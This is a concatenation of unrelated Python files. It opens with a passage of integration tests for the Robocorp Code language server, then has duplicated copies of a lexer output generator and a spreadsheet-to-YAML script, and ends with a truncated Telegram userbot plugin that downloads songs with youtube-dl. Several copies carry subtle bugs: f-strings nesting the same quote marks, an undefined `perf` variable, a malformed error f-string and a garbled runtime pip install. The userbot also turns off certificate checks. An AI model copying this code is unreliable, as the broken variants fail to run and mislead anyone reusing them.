ws_root_path, initialization_options, ): """ :note: Only check with the language_server_io (because that's in another process). """ from robocorp_ls_core.subprocess_wrapper import subprocess from robocorp_ls_core.basic import is_process_alive from robocorp_ls_core.basic import kill_process_and_subprocesses from robocorp_ls_core.unittest_tools.fixtures import wait_for_test_condition language_server = language_server_io dummy_process = subprocess.Popen( [sys.executable, "-c", "import time;time.sleep(10000)"] ) language_server.initialize( ws_root_path, process_id=dummy_process.pid, initialization_options=initialization_options, ) assert is_process_alive(dummy_process.pid) assert is_process_alive(language_server_process.pid) kill_process_and_subprocesses(dummy_process.pid) wait_for_test_condition(lambda: not is_process_alive(dummy_process.pid)) wait_for_test_condition(lambda: not is_process_alive(language_server_process.pid)) language_server_io.require_exit_messages = False def test_list_rcc_robot_templates( language_server_initialized: IRobocorpLanguageServerClient, ws_root_path: str, rcc_location: str, tmpdir, ) -> None: from robocorp_code import commands assert os.path.exists(rcc_location) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_LIST_ROBOT_TEMPLATES_INTERNAL, [] )["result"] assert result["success"] template_names = [template["name"] for template in result["result"]] assert "standard" in template_names assert "python" in template_names target = str(tmpdir.join("dest")) language_server.change_workspace_folders(added_folders=[target], removed_folders=[]) result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [ { "directory": target, "name": "example", "template": template_names[0], } ], )["result"] assert result["success"] assert not result["message"] # Error result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": target, "name": "example", "template": "standard"}], )["result"] assert not result["success"] assert "Error creating robot" in result["message"] assert "not empty" in result["message"] assert "b'" not in result["message"] result = language_server.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": ws_root_path, "name": "example2", "template": "standard"}], )["result"] assert result["success"] result = language_server.execute_command( commands.ROBOCORP_LOCAL_LIST_ROBOTS_INTERNAL, [] )["result"] assert result["success"] folder_info_lst: List[LocalRobotMetadataInfoDict] = result["result"] assert len(folder_info_lst) == 2 assert set([x["name"] for x in folder_info_lst]) == {"example", "example2"} def get_workspace_from_name( workspace_list: List[WorkspaceInfoDict], workspace_name: str ) -> WorkspaceInfoDict: for ws in workspace_list: if ws["workspaceName"] == workspace_name: return ws raise AssertionError(f"Did not find workspace: {workspace_name}") def _get_as_name_to_sort_key_and_package_id(lst: List[WorkspaceInfoDict]): name_to_sort_key = {} for workspace_info in lst: for package_info in workspace_info["packages"]: name_to_sort_key[package_info["name"]] = ( package_info["sortKey"], package_info["id"], ) return name_to_sort_key def test_get_plugins_dir( language_server_initialized: IRobocorpLanguageServerClient, ): client = language_server_initialized result = client.get_plugins_dir() assert result assert result.endswith("plugins") assert os.path.exists(result) def test_cloud_list_workspaces_sorting( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, tmpdir: py.path.local, ): client = language_server_initialized root_dir = str(tmpdir.join("root").mkdir()) rcc_patch.apply() result = client.cloud_list_workspaces() assert result[ "success" ], f'Expected the cloud to list workspaces. Error: {result["message"]}' ws_info = result["result"] assert ws_info ci_workspace_info = get_workspace_from_name(ws_info, "CI workspace") result = client.upload_to_new_robot( ci_workspace_info["workspaceId"], f"New package {time.time()}", "<dir not there>", ) assert not result["success"] msg = result["message"] assert msg and "to exist" in msg result = client.upload_to_new_robot( ci_workspace_info["workspaceId"], "New package", root_dir ) assert result["success"] result = client.cloud_list_workspaces() assert result["success"] res = result["result"] assert res assert _get_as_name_to_sort_key_and_package_id(res) == { "Package Name 1": ("00010package name 1", "452"), "Package Name 2": ("00010package name 2", "453"), "New package": ("00000new package", "2323"), } result = client.upload_to_existing_activity( ci_workspace_info["workspaceId"], "453", root_dir ) assert result["success"] def test_cloud_list_workspaces_basic( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, data_regression, ): client = language_server_initialized rcc_patch.apply() result1 = client.cloud_list_workspaces() assert result1["success"] data_regression.check(result1) rcc_patch.disallow_calls() result2 = client.cloud_list_workspaces() assert result2["success"] assert result1["result"] == result2["result"] result3 = client.cloud_list_workspaces(refresh=True) assert "message" in result3 # Didn't work out because the mock forbids it (as expected). assert not result3["success"] msg = result3["message"] assert msg and "This should not be called at this time" in msg def test_cloud_list_workspaces_errors_single_ws_not_available( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch, data_regression, ): client = language_server_initialized def custom_handler(args, *sargs, **kwargs): if args[:4] == ["cloud", "workspace", "--workspace", "workspace_id_1"]: # List packages for workspace 1 return ActionResult( success=False, message="""{"error":{"code":"WORKSPACE_TREE_NOT_FOUND","subCode":"","message":"workspace tree not found"}""", result=None, ) rcc_patch.custom_handler = custom_handler rcc_patch.apply() result1 = client.cloud_list_workspaces() # i.e.: Should show only workspace 2 as workspace 1 errored. data_regression.check(result1) rcc_patch.custom_handler = None result2 = client.cloud_list_workspaces() assert result1["result"] == result2["result"] # Use cached result3 = client.cloud_list_workspaces(refresh=True) data_regression.check(result3, basename="test_cloud_list_workspaces_basic") def test_cloud_list_workspaces_errors_no_ws_available( language_server_initialized: IRobocorpLanguageServerClient, rcc_patch: RccPatch ): client = language_server_initialized def custom_handler(args, *sargs, **kwargs): if args[:3] == ["cloud", "workspace", "--workspace"]: # List packages for workspace 1 return ActionResult( success=False, message="""{"error":{"code":"WORKSPACE_TREE_NOT_FOUND","subCode":"","message":"workspace tree not found"}""", result=None, ) rcc_patch.custom_handler = custom_handler rcc_patch.apply() result1 = client.cloud_list_workspaces() assert not result1["success"] def test_upload_to_cloud( language_server_initialized: IRobocorpLanguageServerClient, ci_credentials: str, ws_root_path: str, monkeypatch, ): from robocorp_code import commands from robocorp_code.protocols import PackageInfoDict from robocorp_code.rcc import Rcc client = language_server_initialized client.DEFAULT_TIMEOUT = 10 # The cloud may be slow. result = client.execute_command(commands.ROBOCORP_IS_LOGIN_NEEDED_INTERNAL, [])[ "result" ] assert result["result"], "Expected login to be needed." result = client.execute_command( commands.ROBOCORP_CLOUD_LOGIN_INTERNAL, [{"credentials": "invalid"}] )["result"] assert not result["success"], "Expected login to be unsuccessful." result = client.execute_command( commands.ROBOCORP_CLOUD_LOGIN_INTERNAL, [{"credentials": ci_credentials}] )["result"] assert result["success"], "Expected login to be successful." result = client.cloud_list_workspaces() assert result["success"] result_workspaces: List[WorkspaceInfoDict] = result["result"] assert result_workspaces, "Expected to have the available workspaces and packages." found = [x for x in result_workspaces if x["workspaceName"] == "CI workspace"] assert ( len(found) == 1 ), f'Expected to find "CI workspace". Found: {result_workspaces}' found_packages = [x for x in found[0]["packages"] if x["name"] == "CI activity"] assert ( len(found_packages) == 1 ), f'Expected to find "CI activity". Found: {result_workspaces}' found_package: PackageInfoDict = found_packages[0] result = client.execute_command( commands.ROBOCORP_CREATE_ROBOT_INTERNAL, [{"directory": ws_root_path, "name": "example", "template": "standard"}], )["result"] assert result["success"] directory = os.path.join(ws_root_path, "example") result = client.upload_to_existing_activity( found_package["workspaceId"], found_package["id"], directory ) assert result["success"] def mock_run_rcc(self, args, *sargs, **kwargs): if args[:3] == ["cloud", "new", "--workspace"]: return ActionResult( success=True, message=None, result="Created new robot named 'New package 1597082853.2224553' with identity 453.\n", ) if args[:3] == ["cloud", "push", "--directory"]: return ActionResult(success=True, message=None, result="OK.\n") raise AssertionError(f"Unexpected args: {args}") # Note: it should work without the monkeypatch as is, but it'd create a dummy # package and we don't have an API to remove it. monkeypatch.setattr(Rcc, "_run_rcc", mock_run_rcc) result = client.upload_to_new_robot( found_package["workspaceId"], f"New package {time.time()}", directory ) assert result["success"] def test_logout_cloud( language_server_initialized: IRobocorpLanguageServerClient, monkeypatch ): from robocorp_code import commands from robocorp_code.rcc import Rcc client = language_server_initialized client.DEFAULT_TIMEOUT = 10 # The cloud may be slow. def mock_run_rcc(self, args, *sargs, **kwargs): from robocorp_code.rcc import ACCOUNT_NAME if args[:5] == ["config", "credentials", "--account", ACCOUNT_NAME, "--delete"]: return ActionResult(success=True, message=None, result="OK.\n") raise AssertionError(f"Unexpected args: {args}") def mock_credentials_valid(self): # Mock rcc.credentials_valid() to return False after "successful" removal from cloud return False # Note: it should work without the monkeypatch as is, but it'd create a dummy # (check test_upload_to_cloud for details) # package and we don't have an API to remove it. monkeypatch.setattr(Rcc, "_run_rcc", mock_run_rcc) monkeypatch.setattr(Rcc, "credentials_valid", mock_credentials_valid) result = client.execute_command(commands.ROBOCORP_CLOUD_LOGOUT_INTERNAL, [])[ "result" ] assert result["success"] def test_lru_disk_commands(language_server_initialized: IRobocorpLanguageServerClient): from robocorp_code import commands client = language_server_initialized def save_to_lru(name: str, entry: str, lru_size: int): result = client.execute_command( commands.ROBOCORP_SAVE_IN_DISK_LRU, [{"name": name, "entry": entry, "lru_size": lru_size}], )["result"] assert result["success"] def get_from_lru(name: str) -> list: result = client.execute_command( commands.ROBOCORP_LOAD_FROM_DISK_LRU, [{"name": name}] ) return result["result"] assert get_from_lru("my_lru") == [] save_to_lru("my_lru", "entry1", lru_size=2) assert get_from_lru("my_lru") == ["entry1"] save_to_lru("my_lru", "entry2", lru_size=2) assert get_from_lru("my_lru") == ["entry2", "entry1"] save_to_lru("my_lru", "entry1", lru_size=2) assert get_from_lru("my_lru") == ["entry1", "entry2"] save_to_lru("my_lru", "entry3", lru_size=2) assert get_from_lru("my_lru") == ["entry3", "entry1"] def _compute_robot_launch_from_robocorp_code_launch( client: IRobocorpLanguageServerClient, task: str, robot: str, **kwargs ): from robocorp_code import commands args = {"robot": robot, "task": task, "name": "Launch Name", "request": "launch"} args.update(kwargs) result = client.execute_command( commands.ROBOCORP_COMPUTE_ROBOT_LAUNCH_FROM_ROBOCORP_CODE_LAUNCH, [args] )["result"] return result def test_compute_robot_launch_from_robocorp_code_launch( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): client = language_server_initialized robot = cases.get_path("custom_envs/simple-web-scraper/robot.yaml") result = _compute_robot_launch_from_robocorp_code_launch( client, "Web scraper", robot ) assert result["success"] r = result["result"] assert os.path.samefile( r["target"], cases.get_path("custom_envs/simple-web-scraper/tasks") ) assert os.path.samefile(r["cwd"], cases.get_path("custom_envs/simple-web-scraper")) del r["target"] del r["cwd"] assert r == { "type": "robotframework-lsp", "name": "Launch Name", "request": "launch", "args": ["-d", "output", "--logtitle", "Task log"], "terminal": "integrated", } def test_compute_python_launch_from_robocorp_code_launch( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): client = language_server_initialized robot = cases.get_path("custom_envs/pysample/robot.yaml") result = _compute_robot_launch_from_robocorp_code_launch( client, "Default", robot, pythonExe="c:/temp/py.exe" ) assert result["success"] r = result["result"] assert os.path.samefile( r["program"], cases.get_path("custom_envs/pysample/task.py") ) assert os.path.samefile(r["cwd"], cases.get_path("custom_envs/pysample")) del r["program"] del r["cwd"] assert r == { "type": "python", "name": "Launch Name", "request": "launch", "pythonArgs": [], "args": [], "pythonPath": "c:/temp/py.exe", "console": "internalConsole", } def test_hover_browser_integration( language_server_initialized: IRobocorpLanguageServerClient, cases: CasesFixture ): from robocorp_ls_core.workspace import Document client = language_server_initialized uri = "x/y/locators.json" txt = """ "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAA" """ doc = Document("", txt) client.open_doc(uri, 1, txt) line, col = doc.get_last_line_col() ret = client.hover(uri, line, col) assert ret["result"] == { "contents": { "kind": "markdown", "value": "![Screenshot](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAA)", }, "range": { "start": {"line": 2, "character": 56}, "end": {"line": 2, "character": 56}, }, } def test_hover_image_integration( language_server_initialized: IRobocorpLanguageServerClient, tmpdir ): from robocorp_ls_core.workspace import Document from robocorp_code_tests.fixtures import IMAGE_IN_BASE64 import base64 from robocorp_ls_core import uris locators_json = tmpdir.join("locators.json") locators_json.write_text("", "utf-8") imgs_dir = tmpdir.join(".images") imgs_dir.mkdir() img1 = imgs_dir.join("img1.png") with img1.open("wb") as stream: stream.write(base64.b64decode(IMAGE_IN_BASE64)) client = language_server_initialized uri = uris.from_fs_path(str(locators_json)) txt = """ "Image.Locator.01": { "path": ".images/img1.png", "source": ".images/img1.png" """ doc = Document("", txt) client.open_doc(uri, 1, txt) line, col = doc.get_last_line_col() ret = client.hover(uri, line, col) result = ret["result"] value = result["contents"].pop("value") assert value.startswith("![Screenshot](data:image/png;base64,iVBORw0KGgo") assert value.endswith(")") assert ret["result"] == { "contents": { "kind": "markdown", # "value": "![Screenshot](data:image/png;base64,iVBORw0KGgo...)", }, "range": { "start": {"line": 3, "character": 37}, "end": {"line": 3, "character": 37}, }, } def test_obtain_locator_info( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code import commands # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") tmpdir.join("locators.json").write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_GET_LOCATORS_JSON_INFO, [{"robotYaml": str(robot_yaml)}] )["result"] assert result["success"] res = result["result"] new_res = [] for item in res: new_item = {} for key, val in item.items(): if key == "filePath": val = os.path.basename(val) new_item[key] = val new_res.append(new_item) data_regression.check(new_res) def test_remove_locator( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code import commands import json # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") locator_file = tmpdir.join("locators.json") locator_file.write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_REMOVE_LOCATOR_FROM_JSON_INTERNAL, [{"robotYaml": str(robot_yaml), "name": "Browser.Locator.00"}], )["result"] locators_content = json.loads(locator_file.read()) assert result["success"] assert result["result"] is None assert result["message"] is None assert "Browser.Locator.00" not in locators_content assert "Browser.Locator.01" in locators_content def test_internal_load_locators_db( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ) -> None: from robocorp_code.robocorp_language_server import RobocorpLanguageServer # robot.yaml contents don't matter for this test (it just needs to be there). robot_yaml = tmpdir.join("robot.yaml") robot_yaml.write("") locator_file = tmpdir.join("locators.json") locator_file.write( """{ "Browser.Locator.00": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAAVsAAAAiCAYAAADxlXpQAAAAAXNSR0IArs4c6QAAAKFJREFUeJzt1lENgDAUBMGClPr3+FDBNoEZBfe1uWtmZgHwqvv0AIA/EFuAgNgCBMQWICC2AAGxBQiILUBAbAEC91pr7b1P7wD4NM8WICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBMQWICC2AAGxBQiILUBAbAECYgsQEFuAgNgCBK6ZmdMjAL7OswUIiC1AQGwBAmILEBBbgIDYAgTEFiDwADUBCKHOZd2rAAAAAElFTkSuQmCC", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "name", "type": "browser", "value": "q" }, "Browser.Locator.01": { "screenshot": "iVBORw0KGgoAAAANSUhEUgAAACgAAAAsCAYAAAAXb/p7AAAAAXNSR0IArs4c6QAAAJxJREFUWIXt17EOgCAMhOFqHPrQDAx9aDbcTYw9jgjDfYsL0T+FGD167902dq4O+KJAlgJZCmQpkKVAlgJZCmRtH3ghiyPCWmv0Q93dSimptdAEZ8Sh9xna4lordUUcyD9JdlsyIiK1ThN8owmyshOE3oNPyERGpmf2Y+Ao6Ay6+5SHIveBzuAK238sKJClQJYCWQpkKZClQJYCWTdtZlHGc2zySwAAAABJRU5ErkJggg==", "source": "https://www.google.com/?gws_rd=ssl", "strategy": "class", "type": "browser", "value": "J9leP" } }""" ) action_result = RobocorpLanguageServer._load_locators_db(robot_yaml) db_and_locators = action_result["result"] assert db_and_locators is not None db, locators_json_path = db_and_locators assert action_result["success"] assert action_result["message"] is None assert str(locators_json_path) == str(locator_file) assert "Browser.Locator.00" in db.locators assert "Browser.Locator.01" in db.locators def test_metric(language_server_initialized: IRobocorpLanguageServerClient) -> None: from robocorp_code import commands language_server = language_server_initialized result = language_server.execute_command( commands.ROBOCORP_SEND_METRIC, [{"value": "foo"}] )["result"] assert not result["success"] result = language_server.execute_command( commands.ROBOCORP_SEND_METRIC, [{"name": "bar", "value": "foo"}] )["result"] assert result["success"] def sort_diagnostics(diagnostics): def key(diag_dict): return ( diag_dict["source"], diag_dict["range"]["start"]["line"], diag_dict.get("code", 0), diag_dict["severity"], diag_dict["message"], ) return sorted(diagnostics, key=key) def test_lint_robot_integration( language_server_initialized: IRobocorpLanguageServerClient, tmpdir, data_regression ): from robocorp_ls_core import uris from robocorp_ls_core.unittest_tools.fixtures import TIMEOUT robot_yaml = tmpdir.join("robot.yaml") robot_yaml_text = """ tasks: Obtain environment information: command: - python - get_env_info.py artifactsDir: output condaConfigFile: conda.yaml """ robot_yaml.write_text(robot_yaml_text, "utf-8") conda_yaml = tmpdir.join("conda.yaml") conda_yaml.write_text( """ channels: - defaults - conda-forge dependencies: - python=3.8 """, "utf-8", ) language_server = language_server_initialized robot_yaml_uri = uris.from_fs_path(str(robot_yaml)) message_matcher = language_server.obtain_pattern_message_matcher( {"method": "textDocument/publishDiagnostics"} ) language_server.open_doc(robot_yaml_uri, 1, robot_yaml_text) assert message_matcher.event.wait(TIMEOUT) diag = message_matcher.msg["params"]["diagnostics"] data_regression.check(sort_diagnostics(diag))
from ..Constants.constants import * class LexerOutputGenerator: @staticmethod def generate_symbol_table(token_lines: dict): symbol_table = {} symbol_table_set = set() iterator = 1 for word in keywords: symbol_table_set.add(word) symbol_table[iterator] = (word) iterator += 1 for lineno, token_list in token_lines.items(): for token in token_list: if token[0] == ID: if token[1] not in symbol_table_set: symbol_table_set.add(token[1]) symbol_table[iterator] = (token[1]) iterator += 1 return symbol_table @staticmethod def generate_lexical_errors(token_lines: dict): lexical_errors = {} for lineno, token_list in token_lines.items(): lexical_error_list = [] for token in token_list: if token[0] in PANIC_STATES: lexical_error_list.append( f"({token[1] if len(token[1]) <= 7 or token[0] != PANIC_UNCLOSED_COMMENT else token[1][:7] + "..."}, {token[0]})") if lexical_error_list: lexical_errors[lineno] = " ".join(lexical_error_list) + " " return lexical_errors @staticmethod def generate_tokens(token_lines: dict): tokens = {} for lineno, token_list in token_lines.items(): token_string_list = [] for token in token_list: if token[0] not in [WHITESPACE, COMMENT] + PANIC_STATES: token_string_list.append(f"({token[0]}, {token[1]})") if token_string_list: tokens[lineno] = " ".join(token_string_list) + " " return tokens @staticmethod def generate_final_outputs(token_lines: dict): symbol_table = LexerOutputGenerator.generate_symbol_table(token_lines) lexical_errors = LexerOutputGenerator.generate_lexical_errors(token_lines) tokens = LexerOutputGenerator.generate_tokens(token_lines) return tokens, lexical_errors, symbol_table
from ..Constants.constants import * class LexerOutputGenerator: @staticmethod def generate_symbol_table(token_lines: dict): symbol_table = {} symbol_table_set = set() iterator = 1 for word in keywords: symbol_table_set.add(word) symbol_table[iterator] = (word) iterator += 1 for lineno, token_list in token_lines.items(): for token in token_list: if token[0] == ID: if token[1] not in symbol_table_set: symbol_table_set.add(token[1]) symbol_table[iterator] = (token[1]) iterator += 1 return symbol_table @staticmethod def generate_lexical_errors(token_lines: dict): lexical_errors = {} for lineno, token_list in token_lines.items(): lexical_error_list = [] for token in token_list: if token[0] in PANIC_STATES: lexical_error_list.append( f"({token[1] if len(token[1]) <= 7 or token[0] != PANIC_UNCLOSED_COMMENT else token[1][:7] + '...'}, {token[0]})") if lexical_error_list: lexical_errors[lineno] = " ".join(lexical_error_list) + " " return lexical_errors @staticmethod def generate_tokens(token_lines: dict): tokens = {} for lineno, token_list in token_lines.items(): token_string_list = [] for token in token_list: if token[0] not in [WHITESPACE, COMMENT] + PANIC_STATES: token_string_list.append(f"({token[0]}, {token[1]})") if token_string_list: tokens[lineno] = " ".join(token_string_list) + " " return tokens @staticmethod def generate_final_outputs(token_lines: dict): symbol_table = LexerOutputGenerator.generate_symbol_table(token_lines) lexical_errors = LexerOutputGenerator.generate_lexical_errors(token_lines) tokens = LexerOutputGenerator.generate_tokens(token_lines) return tokens, lexical_errors, symbol_table
import sys import xlrd import yaml import re import unicodedata table_path = "_data/tool_and_resource_list.xlsx" output_path = "_data/tool_and_resource_list.yml" main_dict_key = "Tools" allowed_tags_yaml = "_data/tags.yml" allowed_registries = ['biotools', 'fairsharing'] print(f"----> Converting table {table_path} to {output_path} started.") with open(allowed_tags_yaml) as file: allowed_tags = yaml.load(file, Loader=yaml.FullLoader) print(f"----> Allowed tags: {", ".join(allowed_tags)}.") tool_table = xlrd.open_workbook(table_path) xl_sheet = tool_table.sheet_by_index(0) num_cols = xl_sheet.ncols # Number of columns main_dict = {main_dict_key: []} # Processing header header = [] for col_idx in range(0, num_cols): header.append(xl_sheet.cell(0, col_idx).value) print("----> Header parsed successfully") # Looping over rows and adding its contents to the main dict for row_idx in range(1, xl_sheet.nrows): tool = {} for col_idx in range(0, num_cols): cell_obj = xl_sheet.cell(row_idx, col_idx).value if cell_obj: # Only include keys if there are values if header[col_idx] == 'tags': output = re.split(', |,', cell_obj) for tag in output: if tag not in allowed_tags: sys.exit(f'The table contains the tag "{tag}" in row {row_idx} which is not allowed.\n-> Check out the tool_tags.yaml file in the _data directory to find out the allowed tags.') elif header[col_idx] == 'registry': output={} for registry in re.split(', |,', cell_obj): reg, identifier = re.split(':', registry) if reg in allowed_registries: output[reg] = identifier else: sys.exit(f'The table contains the registry "{reg}" in row {row_idx} which is not allowed.\n') else: output = unicodedata.normalize("NFKD", cell_obj).strip() # Return the normal form for the Unicode string tool[header[col_idx]] = output main_dict[main_dict_key].append(tool) print(f"{row_idx}. {tool["name"]} is parsed.") with open(output_path, 'w') as yaml_file: documents = yaml.dump(main_dict, yaml_file) print("----> YAML is dumped successfully")
import sys import xlrd import yaml import re import unicodedata table_path = "_data/tool_and_resource_list.xlsx" output_path = "_data/tool_and_resource_list.yml" main_dict_key = "Tools" allowed_tags_yaml = "_data/tags.yml" allowed_registries = ['biotools', 'fairsharing'] print(f"----> Converting table {table_path} to {output_path} started.") with open(allowed_tags_yaml) as file: allowed_tags = yaml.load(file, Loader=yaml.FullLoader) print(f"----> Allowed tags: {', '.join(allowed_tags)}.") tool_table = xlrd.open_workbook(table_path) xl_sheet = tool_table.sheet_by_index(0) num_cols = xl_sheet.ncols # Number of columns main_dict = {main_dict_key: []} # Processing header header = [] for col_idx in range(0, num_cols): header.append(xl_sheet.cell(0, col_idx).value) print("----> Header parsed successfully") # Looping over rows and adding its contents to the main dict for row_idx in range(1, xl_sheet.nrows): tool = {} for col_idx in range(0, num_cols): cell_obj = xl_sheet.cell(row_idx, col_idx).value if cell_obj: # Only include keys if there are values if header[col_idx] == 'tags': output = re.split(', |,', cell_obj) for tag in output: if tag not in allowed_tags: sys.exit(f'The table contains the tag "{tag}" in row {row_idx} which is not allowed.\n-> Check out the tool_tags.yaml file in the _data directory to find out the allowed tags.') elif header[col_idx] == 'registry': output={} for registry in re.split(', |,', cell_obj): reg, identifier = re.split(':', registry) if reg in allowed_registries: output[reg] = identifier else: sys.exit(f'The table contains the registry "{reg}" in row {row_idx} which is not allowed.\n') else: output = unicodedata.normalize("NFKD", cell_obj).strip() # Return the normal form for the Unicode string tool[header[col_idx]] = output main_dict[main_dict_key].append(tool) print(f"{row_idx}. {tool['name']} is parsed.") with open(output_path, 'w') as yaml_file: documents = yaml.dump(main_dict, yaml_file) print("----> YAML is dumped successfully")
import asyncio import json import os import time from telethon.tl.types import DocumentAttributeAudio from youtube_dl import YoutubeDL from youtube_dl.utils import (ContentTooShortError, DownloadError, ExtractorError, GeoRestrictedError, MaxDownloadsReached, PostProcessingError, UnavailableVideoError, XAttrMetadataError) try: from youtubesearchpython import SearchVideos except: os.system("pip install pip install youtube-search-python") from youtubesearchpython import SearchVideos from . import * @Andencento.on(andencento_cmd(pattern="lyrics(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="lyrics(?: |$)(.*)", allow_sudo=True)) async def nope(kraken): user = kraken.pattern_match.group(1) await eor(kraken, f"Searching lyrics for `{user}` ...") if not user: if kraken.is_reply: (await kraken.get_reply_message()).message else: await eod(kraken, "Give song name to get lyrics...") return troll = await bot.inline_query("iLyricsBot", f"{(deEmojify(user))}") await troll[0].click( kraken.chat_id, reply_to=kraken.reply_to_msg_id, silent=True if kraken.is_reply else False, hide_via=True, ) await kraken.delete() @Andencento.on(andencento_cmd(pattern="song(?: |$)(.*)", outgoing=True)) @Andencento.on(sudo_cmd(pattern="song(?: |$)(.*)", allow_sudo=True)) async def download_video(v_url): lazy = v_url sender = await lazy.get_sender() me = await lazy.client.get_me() if not sender.id == me.id: rkp = await eor(lazy, "`Wait. Processing your request....`") else: rkp = await eor(lazy, "`Wait. Processing your request....`") url = v_url.pattern_match.group(1) if not url: return await eod(rkp, f"**Error** \n__Usage:__ `{hl}song <song name>`") search = SearchVideos(url, offset=1, mode="json", max_results=1) test = search.result() p = json.loads(test) q = p.get("search_result") try: url = q[0]["link"] except: return await eod(rkp, "`Failed to process your request....`") type = "audio" await rkp.edit("Request processed. **Downloading Now!!!**") if type == "audio": opts = { "format": "bestaudio", "addmetadata": True, "key": "FFmpegMetadata", "writethumbnail": True, "prefer_ffmpeg": True, "geo_bypass": True, "nocheckcertificate": True, "postprocessors": [ { "key": "FFmpegExtractAudio", "preferredcodec": "mp3", "preferredquality": "320", } ], "outtmpl": "%(id)s.mp3", "quiet": True, "logtostderr": False, } video = False song = True try: await rkp.edit("**Fetching Song**") with YoutubeDL(opts) as rip: rip_data = rip.extract_info(url) except DownloadError as DE: await eod(rkp, f"`{str(DE)}`") return except ContentTooShortError: await eod(rkp, "`The download content was too short.`") return except GeoRestrictedError: await eod( rkp, "`Video is not available from your geographic location due to geographic restrictions imposed by a website.`", ) return except MaxDownloadsReached: await eod(rkp, "`Max-downloads limit has been reached.`") return except PostProcessingError: await eod(rkp, "`There was an error during post processing.`") return except UnavailableVideoError: await eod(rkp, "`Media is not available in the requested format.`") return except XAttrMetadataError as XAME: await eod(rkp, f"`{XAME.code}: {XAME.msg}\n{XAME.reason}`") return except ExtractorError: await eod(rkp, "`There was an error during info extraction.`") return except Exception as e: await eod(rkp, f"{str(type(e)): {str(e)}}") return c_time = time.time() if song: await rkp.edit( f"🎶 Preparing to upload song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( v_url.chat_id, f"{rip_data["id"]}.mp3", supports_streaming=True, attributes=[ DocumentAttributeAudio( duration=int(rip_data["duration"]), title=str(rip_data["title"]), performer=perf, ) ], progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, v_url, c_time, "Uploading..", f"{rip_data["title"]}.mp3") ), ) os.remove(f"{rip_data["id"]}.mp3") await v_url.delete() elif video: await rkp.edit( f"🎶 Preparing to upload song 🎶 :-\ \n\n**{rip_data['title']}**\ \nby __{rip_data['uploader']}__" ) await v_url.client.send_file( 